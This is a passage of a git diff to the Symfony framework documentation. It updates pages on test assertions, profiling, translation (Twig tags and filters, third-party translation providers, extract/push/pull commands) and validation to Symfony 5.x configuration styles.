-- ``assertResponseHasHeader()``
-- ``assertResponseNotHasHeader()``
-- ``assertResponseHeaderSame()``
-- ``assertResponseHeaderNotSame()``
-- ``assertResponseHasCookie()``
-- ``assertResponseNotHasCookie()``
-- ``assertResponseCookieValueSame()``
-
-Request
-~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertRequestAttributeValueSame()``
-- ``assertRouteSame()``
-
-Browser
-~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertBrowserHasCookie()``
-- ``assertBrowserNotHasCookie()``
-- ``assertBrowserCookieValueSame()``
-
-Crawler
-~~~~~~~
-
-.. note::
-
-    The following assertions only work if a request has been made with the
-    ``Client`` in a test case extending the ``WebTestCase`` class. In addition,
-    they are not available when using `symfony/panther`_ for end-to-end testing.
-
-- ``assertSelectorExists()``
-- ``assertSelectorNotExists()``
-- ``assertSelectorTextContains()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextSame()`` (note: it only checks the first selector occurrence)
-- ``assertSelectorTextNotContains()`` (note: it only checks the first selector occurrence)
-- ``assertPageTitleSame()``
-- ``assertPageTitleContains()``
-- ``assertInputValueSame()``
-- ``assertInputValueNotSame()``
-- ``assertCheckboxChecked()``
-- ``assertCheckboxNotChecked()``
-- ``assertFormValue()``
-- ``assertNoFormValue()``
-
-.. versionadded:: 5.2
-
-    The ``assertCheckboxChecked()``, ``assertCheckboxNotChecked()``,
-    ``assertFormValue()`` and ``assertNoFormValue()`` methods were introduced
-    in Symfony 5.2.
-
-Mailer
-~~~~~~
-
-.. versionadded:: 5.1
-
-    Starting from Symfony 5.1, the following assertions no longer require to make
-    a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
-
-- ``assertEmailCount()``
-- ``assertQueuedEmailCount()``
-- ``assertEmailIsQueued()``
-- ``assertEmailIsNotQueued()``
-- ``assertEmailAttachementCount()``
-- ``assertEmailTextBodyContains()``
-- ``assertEmailTextBodyNotContains()``
-- ``assertEmailHtmlBodyContains()``
-- ``assertEmailHtmlBodyNotContains()``
-- ``assertEmailHasHeader()``
-- ``assertEmailNotHasHeader()``
-- ``assertEmailHeaderSame()``
-- ``assertEmailHeaderNotSame()``
-- ``assertEmailAddressContains()``
-
-.. _`symfony/panther`: https://github.com/symfony/panther
diff --git a/testing/profiling.rst b/testing/profiling.rst
index d3fa71f8e76..db7714b9d1f 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -47,15 +47,15 @@ tests significantly. That's why Symfony disables it by default:
     .. code-block:: php
 
         // config/packages/test/web_profiler.php
+        use Symfony\Config\FrameworkConfig;
 
-        // ...
-        $container->loadFromExtension('framework', [
+        return static function (FrameworkConfig $framework) {
             // ...
-            'profiler' => [
-                'enabled' => true,
-                'collect' => false,
-            ],
-        ]);
+            $framework->profiler()
+                ->enabled(true)
+                ->collect(false)
+            ;
+        };
 
 Setting ``collect`` to ``true`` enables the profiler for all tests. However, if
 you need the profiler only in a few tests, you can keep it disabled globally and
@@ -71,7 +71,7 @@ provided by the collectors obtained through the ``$client->getProfile()`` call::
 
     // tests/Controller/LuckyControllerTest.php
     namespace App\Tests\Controller;
-    
+
     use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
 
     class LuckyControllerTest extends WebTestCase
diff --git a/translation.rst b/translation.rst
index 4c4b4b9a07b..53e0ae45d4a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -92,11 +92,16 @@ are located:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-            'translator' => ['default_path' => '%kernel.project_dir%/translations'],
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        ]);
+            $framework
+                ->defaultLocale('en')
+                ->translator()
+                    ->defaultPath('%kernel.project_dir%/translations')
+            ;
+        };
 
 The locale used in translations is the one stored on the request. This is
 typically set via a ``_locale`` attribute on your routes (see :ref:`translation-locale-url`).
@@ -141,7 +146,7 @@ different formats:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -292,6 +297,24 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
+.. tip::
+
+    If you don't use the ICU MessageFormat syntax in your translation files,
+    pass a parameter named "%count%" to select the best plural form of the message:
+
+    .. code-block:: twig
+
+       {{ message|trans({'%name%': '...', '%count%': 1}, 'app') }}
+
+    The ``message`` variable must include all the different versions of this
+    message based on the value of the ``count`` parameter. For example:
+
+    .. code-block:: text
+
+        {0}%name% has no apples|{1}%name% has one apple|]1,Inf[ %name% has %count% apples
+
+.. _translatable-objects:
+
 Translatable Objects
 --------------------
 
@@ -337,14 +360,92 @@ Translations in Templates
 -------------------------
 
 Most of the time, translation occurs in templates. Symfony provides native
-support for both Twig and PHP templates:
+support for both Twig and PHP templates.
 
-.. code-block:: html+twig
+.. _translation-tags:
+
+Using Twig Tags
+~~~~~~~~~~~~~~~
+
+Symfony provides a specialized Twig tag ``trans`` to help with message
+translation of *static blocks of text*:
+
+.. code-block:: twig
+
+    {% trans %}Hello %name%{% endtrans %}
+
+.. caution::
+
+    The ``%var%`` notation of placeholders is required when translating in
+    Twig templates using the tag.
+
+.. tip::
+
+    If you need to use the percent character (``%``) in a string, escape it by
+    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
+
+You can also specify the message domain and pass some additional variables:
+
+.. code-block:: twig
+
+    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
+
+    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
+
+.. _translation-filters:
+
+Using Twig Filters
+~~~~~~~~~~~~~~~~~~
+
+The ``trans`` filter can be used to translate *variable texts* and complex expressions:
+
+.. code-block:: twig
 
-    <h1>{% trans %}Symfony is great!{% endtrans %}</h1>
+    {{ message|trans }}
 
-Read :doc:`/translation/templates` for more information about the Twig tags and
-filters for translation.
+    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
+
+.. tip::
+
+    Using the translation tags or filters have the same effect, but with
+    one subtle difference: automatic output escaping is only applied to
+    translations using a filter. In other words, if you need to be sure
+    that your translated message is *not* output escaped, you must apply
+    the ``raw`` filter after the translation filter:
+
+    .. code-block:: html+twig
+
+        {# text translated between tags is never escaped #}
+        {% trans %}
+            <h3>foo</h3>
+        {% endtrans %}
+
+        {% set message = '<h3>foo</h3>' %}
+
+        {# strings and variables translated via a filter are escaped by default #}
+        {{ message|trans|raw }}
+        {{ '<h3>bar</h3>'|trans|raw }}
+
+.. tip::
+
+    You can set the translation domain for an entire Twig template with a single tag:
+
+    .. code-block:: twig
+
+       {% trans_default_domain 'app' %}
+
+    Note that this only influences the current template, not any "included"
+    template (in order to avoid side effects).
+
+PHP Templates
+~~~~~~~~~~~~~
+
+The translator service is accessible in PHP templates through the
+``translator`` helper:
+
+.. code-block:: html+php
+
+    <?= $view['translator']->trans('Symfony is great') ?>
 
 Forcing the Translator Locale
 -----------------------------
@@ -365,27 +466,41 @@ Extracting Translation Contents and Updating Catalogs Automatically
 
 The most time-consuming tasks when translating an application is to extract all
 the template contents to be translated and to keep all the translation files in
-sync. Symfony includes a command called ``translation:update`` that helps you
+sync. Symfony includes a command called ``translation:extract`` that helps you
 with these tasks:
 
 .. code-block:: terminal
 
     # shows all the messages that should be translated for the French language
-    $ php bin/console translation:update --dump-messages fr
+    $ php bin/console translation:extract --dump-messages fr
 
     # updates the French translation files with the missing strings for that locale
-    $ php bin/console translation:update --force fr
+    $ php bin/console translation:extract --force fr
 
     # check out the command help to see its options (prefix, output format, domain, sorting, etc.)
-    $ php bin/console translation:update --help
+    $ php bin/console translation:extract --help
+
+.. deprecated:: 5.4
 
-The ``translation:update`` command looks for missing translations in:
+    In previous Symfony versions, the ``translation:extract`` command was called
+    ``translation:update``, but that name was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
+The ``translation:extract`` command looks for missing translations in:
 
 * Templates stored in the ``templates/`` directory (or any other directory
   defined in the :ref:`twig.default_path <config-twig-default-path>` and
   :ref:`twig.paths <config-twig-paths>` config options);
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
-  the ``translator`` service and makes calls to the ``trans()`` function.
+  the ``translator`` service and makes calls to the ``trans()`` method.
+* Any PHP file/class stored in the ``src/`` directory that creates
+  :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
+  the ``trans()`` method.
+
+.. versionadded:: 5.3
+
+    Support for extracting Translatable objects has been introduced in
+    Symfony 5.3.
 
 .. _translation-resource-locations:
 
@@ -483,13 +598,13 @@ if you're generating translations with specialized programs or teams.
         .. code-block:: php
 
             // config/packages/translation.php
-            $container->loadFromExtension('framework', [
-                'translator' => [
-                    'paths' => [
-                        '%kernel.project_dir%/custom/path/to/translations',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                $framework->translator()
+                    ->paths(['%kernel.project_dir%/custom/path/to/translations'])
+                ;
+            };
 
 .. note::
 
@@ -498,6 +613,173 @@ if you're generating translations with specialized programs or teams.
     :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface.
     See the :ref:`dic-tags-translation-loader` tag for more information.
 
+.. _translation-providers:
+
+Translation Providers
+---------------------
+
+.. versionadded:: 5.3
+
+    Translation providers were introduced in Symfony 5.3.
+
+When using external translators to translate your application, you must send
+them the new contents to translate frequently and merge the results back in the
+application.
+
+Instead of doing this manually, Symfony provides integration with several
+third-party translation services (e.g. Crowdin or Lokalise). You can upload and
+download (called "push" and "pull") translations to/from these services and
+merge the results automatically in the application.
+
+Installing and Configuring a Third Party Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Before pushing/pulling translations to a third-party provider, you must install
+the package that provides integration with that provider:
+
+====================  ===========================================================
+Provider              Install with
+====================  ===========================================================
+Crowdin               ``composer require symfony/crowdin-translation-provider``
+Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
+Lokalise              ``composer require symfony/lokalise-translation-provider``
+====================  ===========================================================
+
+Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
+a configuration example to your ``.env`` file. For example, suppose you want to
+use Loco. First, install it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/loco-translation-provider
+
+You'll now have a new line in your ``.env`` file that you can uncomment:
+
+.. code-block:: env
+
+    # .env
+    LOCO_DSN=loco://API_KEY@default
+
+The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that offloads
+most of the configuration work to Symfony. The ``loco`` scheme activates the
+Loco provider that you just installed, which knows all about how to push and
+pull translations via Loco. The *only* part you need to change is the
+``API_KEY`` placeholder.
+
+This table shows the full list of available DSN formats for each provider:
+
+=====================  ==========================================================
+Provider               DSN
+=====================  ==========================================================
+Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
+Loco (localise.biz)    loco://API_KEY@default
+Lokalise               lokalise://PROJECT_ID:API_KEY@default
+=====================  ==========================================================
+
+To enable a translation provider, add the correct DSN in your ``.env`` file and
+configure the ``providers`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            translator:
+                providers:
+                    loco:
+                        dsn: '%env(LOCO_DSN)%'
+                        domains: ['messages']
+                        locales: ['en', 'fr']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:translator>
+                    <framework:provider name="loco" dsn="%env(LOCO_DSN)%">
+                        <framework:domain>messages</framework:domain>
+                        <!-- ... -->
+                        <framework:locale>en</framework:locale>
+                        <framework:locale>fr</framework:locale>
+                        <!-- ... -->
+                    </framework:provider>
+                </framework:translator>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/translation.php
+        $container->loadFromExtension('framework', [
+            'translator' => [
+                'providers' => [
+                    'loco' => [
+                        'dsn' => '%env(LOCO_DSN)%',
+                        'domains' => ['messages'],
+                        'locales' => ['en', 'fr'],
+                    ],
+                ],
+            ],
+        ]);
+
+.. tip::
+
+    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g., "en" or "fr"),
+    you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
+    in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
+    in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+
+Pushing and Pulling Translations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+After configuring the credentials to access the translation provider, you can
+now use the following commands to push (upload) and pull (download) translations:
+
+.. code-block:: terminal
+
+    # push all local translations to the Loco provider for the locales and domains
+    # configured in config/packages/translation.yaml file.
+    # it will update existing translations already on the provider.
+    $ php bin/console translation:push loco --force
+
+    # push new local translations to the Loco provider for the French locale
+    # and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --locales fr --domain validators
+
+    # push new local translations and delete provider's translations that not
+    # exists anymore in local files for the French locale and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, etc.)
+    $ php bin/console translation:push --help
+
+.. code-block:: terminal
+
+    # pull all provider's translations to local files for the locales and domains
+    # configured in config/packages/translation.yaml file.
+    # it will overwrite completely your local files.
+    $ php bin/console translation:pull loco --force
+
+    # pull new translations from the Loco provider to local files for the French
+    # locale and the validators domain.
+    # it will **not** overwrite your local files, only add new translations.
+    $ php bin/console translation:pull loco --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
+    $ php bin/console translation:pull --help
+
 Handling the User's Locale
 --------------------------
 
@@ -559,10 +841,14 @@ checks translation resources for several locales:
        .. code-block:: php
 
            // config/packages/translation.php
-           $container->loadFromExtension('framework', [
-               'translator' => ['fallbacks' => ['en']],
-               // ...
-           ]);
+           use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework) {
+                // ...
+                $framework->translator()
+                    ->fallbacks(['en'])
+                ;
+            };
 
 .. note::
 
@@ -608,15 +894,15 @@ Learn more
     :maxdepth: 1
 
     translation/message_format
-    translation/templates
     translation/locale
     translation/debug
     translation/lint
     translation/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
+.. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
+.. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
diff --git a/translation/debug.rst b/translation/debug.rst
index 74e52783245..e0668c4ae3e 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -19,9 +19,11 @@ command helps you to find these missing or unused translation messages templates
 
 .. caution::
 
-    The extractors can't find messages translated outside templates, like form
-    labels or controllers. Dynamic translations using variables or expressions
-    in templates are not detected either:
+    The extractors can't find messages translated outside templates (like form
+    labels or controllers) unless using :ref:`translatable-objects` or calling
+    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    translations using variables or expressions in templates are not
+    detected either:
 
     .. code-block:: twig
 
@@ -39,7 +41,7 @@ you've already setup some translations for the ``fr`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -70,7 +72,7 @@ and for the ``en`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/lint.rst b/translation/lint.rst
index d9129a79108..e6987538aeb 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -33,6 +33,19 @@ The linter results can be exported to JSON using the ``--format`` option:
     $ php bin/console lint:yaml translations/ --format=json
     $ php bin/console lint:xliff translations/ --format=json
 
+When running these linters inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=github
+    $ php bin/console lint:xliff translations/ --format=github
+
+.. versionadded:: 5.3
+
+    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
+    and in Symfony 5.4 for ``lint:xliff``.
+
 .. tip::
 
     The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
@@ -45,3 +58,5 @@ The linter results can be exported to JSON using the ``--format`` option:
     .. versionadded:: 5.1
 
         The ``yaml-lint`` binary was introduced in Symfony 5.1.
+
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/translation/locale.rst b/translation/locale.rst
index 87f973a146a..79a9d45ce39 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -65,7 +65,7 @@ A better policy is to include the locale in the URL using the
 .. configuration-block::
 
     .. code-block:: php-annotations
-        
+
         // src/Controller/ContactController.php
         namespace App\Controller;
 
@@ -177,6 +177,8 @@ the framework:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'default_locale' => 'en',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->defaultLocale('en');
+        };
diff --git a/translation/message_format.rst b/translation/message_format.rst
index 8f8fea5296c..b5a350acfcf 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -47,7 +47,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -108,7 +108,7 @@ typical usage of this is gender:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -173,6 +173,22 @@ you to use literal text in the select statements:
     readable for translators and, as you can see in the ``other`` case, other
     parts of the sentence might be influenced by the variables.
 
+.. tip::
+
+    It's possible to translate ICU MessageFormat messages directly in code,
+    without having to define them in any file::
+
+        $invitation = '{organizer_gender, select,
+            female {{organizer_name} has invited you for her party!}
+            male   {{organizer_name} has invited you for his party!}
+            other  {{organizer_name} have invited you for their party!}
+        }';
+
+        // prints "Ryan has invited you for his party!"
+        echo $translator->trans($invitation, [
+            'organizer_name' => 'Ryan',
+            'organizer_gender' => 'male',
+        ]);
 
 .. _component-translation-pluralization:
 
@@ -198,7 +214,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -255,27 +271,24 @@ Usage of this string is the same as with variables and select::
     .. code-block:: text
 
         {gender_of_host, select,
-            female {
-                {num_guests, plural, offset:1
+            female {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to her party.}
                 =2    {{host} invites {guest} and one other person to her party.}
-                other {{host} invites {guest} and # other people to her party.}}
-            }
-            male {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to her party.}
+            }}
+            male {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to his party.}
                 =2    {{host} invites {guest} and one other person to his party.}
-                other {{host} invites {guest} and # other people to his party.}}
-            }
-            other {
-                {num_guests, plural, offset:1
+                other {{host} invites {guest} and # other people to his party.}
+            }}
+            other {{num_guests, plural, offset:1
                 =0    {{host} does not give a party.}
                 =1    {{host} invites {guest} to their party.}
                 =2    {{host} invites {guest} and one other person to their party.}
-                other {{host} invites {guest} and # other people to their party.}}
-            }
+                other {{host} invites {guest} and # other people to their party.}
+            }}
         }
 
 .. sidebar:: Using Ranges in Messages
@@ -329,7 +342,7 @@ Similar to ``plural``, ``selectordinal`` allows you to use numbers as ordinal sc
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -393,7 +406,7 @@ using the :phpclass:`IntlDateFormatter`:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -435,7 +448,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -473,7 +486,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     echo $translator->trans('value_of_object', ['value' => 9988776.65]);
 
 .. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/
-.. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
+.. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`switch statement`: https://www.php.net/control-structures.switch
 .. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html
 .. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php
diff --git a/translation/templates.rst b/translation/templates.rst
deleted file mode 100644
index b820bfb0fba..00000000000
--- a/translation/templates.rst
+++ /dev/null
@@ -1,89 +0,0 @@
-Using Translation in Templates
-==============================
-
-Twig Templates
---------------
-
-.. _translation-tags:
-
-Using Twig Tags
-~~~~~~~~~~~~~~~
-
-Symfony provides a specialized Twig tag ``trans`` to help with message
-translation of *static blocks of text*:
-
-.. code-block:: twig
-
-    {% trans %}Hello %name%{% endtrans %}
-
-.. caution::
-
-    The ``%var%`` notation of placeholders is required when translating in
-    Twig templates using the tag.
-
-.. tip::
-
-    If you need to use the percent character (``%``) in a string, escape it by
-    doubling it: ``{% trans %}Percent: %percent%%%{% endtrans %}``
-
-You can also specify the message domain and pass some additional variables:
-
-.. code-block:: twig
-
-    {% trans with {'%name%': 'Fabien'} from 'app' %}Hello %name%{% endtrans %}
-
-    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
-
-.. _translation-filters:
-
-Using Twig Filters
-~~~~~~~~~~~~~~~~~~
-
-The ``trans`` filter can be used to translate *variable texts* and complex expressions:
-
-.. code-block:: twig
-
-    {{ message|trans }}
-
-    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
-
-.. tip::
-
-    Using the translation tags or filters have the same effect, but with
-    one subtle difference: automatic output escaping is only applied to
-    translations using a filter. In other words, if you need to be sure
-    that your translated message is *not* output escaped, you must apply
-    the ``raw`` filter after the translation filter:
-
-    .. code-block:: html+twig
-
-        {# text translated between tags is never escaped #}
-        {% trans %}
-            <h3>foo</h3>
-        {% endtrans %}
-
-        {% set message = '<h3>foo</h3>' %}
-
-        {# strings and variables translated via a filter are escaped by default #}
-        {{ message|trans|raw }}
-        {{ '<h3>bar</h3>'|trans|raw }}
-
-.. tip::
-
-    You can set the translation domain for an entire Twig template with a single tag:
-
-    .. code-block:: twig
-
-       {% trans_default_domain 'app' %}
-
-    Note that this only influences the current template, not any "included"
-    template (in order to avoid side effects).
-
-PHP Templates
--------------
-
-The translator service is accessible in PHP templates through the
-``translator`` helper::
-
-    <?= $view['translator']->trans('Symfony is great') ?>
-
diff --git a/translation/xliff.rst b/translation/xliff.rst
index a3c3daab43e..d5fb90e3586 100644
--- a/translation/xliff.rst
+++ b/translation/xliff.rst
@@ -19,7 +19,7 @@ loaded/dumped inside a Symfony application:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <xliff xmlns="urn:oasis:names:tc:xliff:document:2.1" version="2.1"
         srcLang="fr-FR" trgLang="en-US">
         <file id="messages.en_US">
diff --git a/validation.rst b/validation.rst
index 837514f55c5..e7288763de6 100644
--- a/validation.rst
+++ b/validation.rst
@@ -11,6 +11,10 @@ into a database or passed to a web service.
 Symfony provides a `Validator`_ component to handle this for you. This
 component is based on the `JSR303 Bean Validation specification`_.
 
+.. index::
+   pair: Validation; Installation
+   pair: Validation; Configuration
+
 Installation
 ------------
 
@@ -21,6 +25,12 @@ install the validator before using it:
 
     $ composer require symfony/validator doctrine/annotations
 
+.. note::
+
+    If your application doesn't use Symfony Flex, you might need to do some
+    manual configuration to enable validation. Check out the
+    :ref:`Validation configuration reference <reference-validation>`.
+
 .. index::
    single: Validation; The basics
 
@@ -47,7 +57,7 @@ order to be valid. These rules are usually defined using PHP code or
 annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside
 the ``config/validator/`` directory:
 
-For example, to guarantee that the ``$name`` property is not empty, add the
+For example, to indicate that the ``$name`` property must not be empty, add the
 following:
 
 .. configuration-block::
@@ -68,6 +78,20 @@ following:
             private $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            private $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,6 +134,11 @@ following:
             }
         }
 
+Adding this configuration by itself does not yet guarantee that the value will
+not be blank; you can still set it to a blank value if you want.
+To actually guarantee that the value adheres to the constraint, the object must
+be passed to the validator service to be checked.
+
 .. tip::
 
     Symfony's validator uses PHP reflection, as well as *"getter"* methods, to
@@ -164,7 +193,7 @@ message:
 .. code-block:: text
 
     Object(App\Entity\Author).name:
-        This value should not be blank
+        This value should not be blank.
 
 If you insert a value into the ``name`` property, the happy success message
 will appear.
@@ -202,88 +231,29 @@ Inside the template, you can output the list of errors exactly as needed:
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
 .. index::
-   pair: Validation; Configuration
+   single: Validation; Callables
 
-Configuration
--------------
+Validation Callables
+~~~~~~~~~~~~~~~~~~~~
 
-Before using the Symfony validator, make sure it's enabled in the main config
-file:
+The ``Validation`` also allows you to create a closure to validate values
+against a set of constraints (useful for example when
+:ref:`validating Console command answers <console-validate-question-answer>` or
+when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
-.. configuration-block::
+:method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    This returns a closure that throws ``ValidationFailedException`` when the
+    constraints aren't matched.
+:method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
+    This returns a closure that returns ``false`` when the constraints aren't matched.
 
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enabled: true }
+.. versionadded:: 5.1
 
-    .. code-block:: xml
+    ``Validation::createCallable()`` was introduced in Symfony 5.1.
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+.. versionadded:: 5.3
 
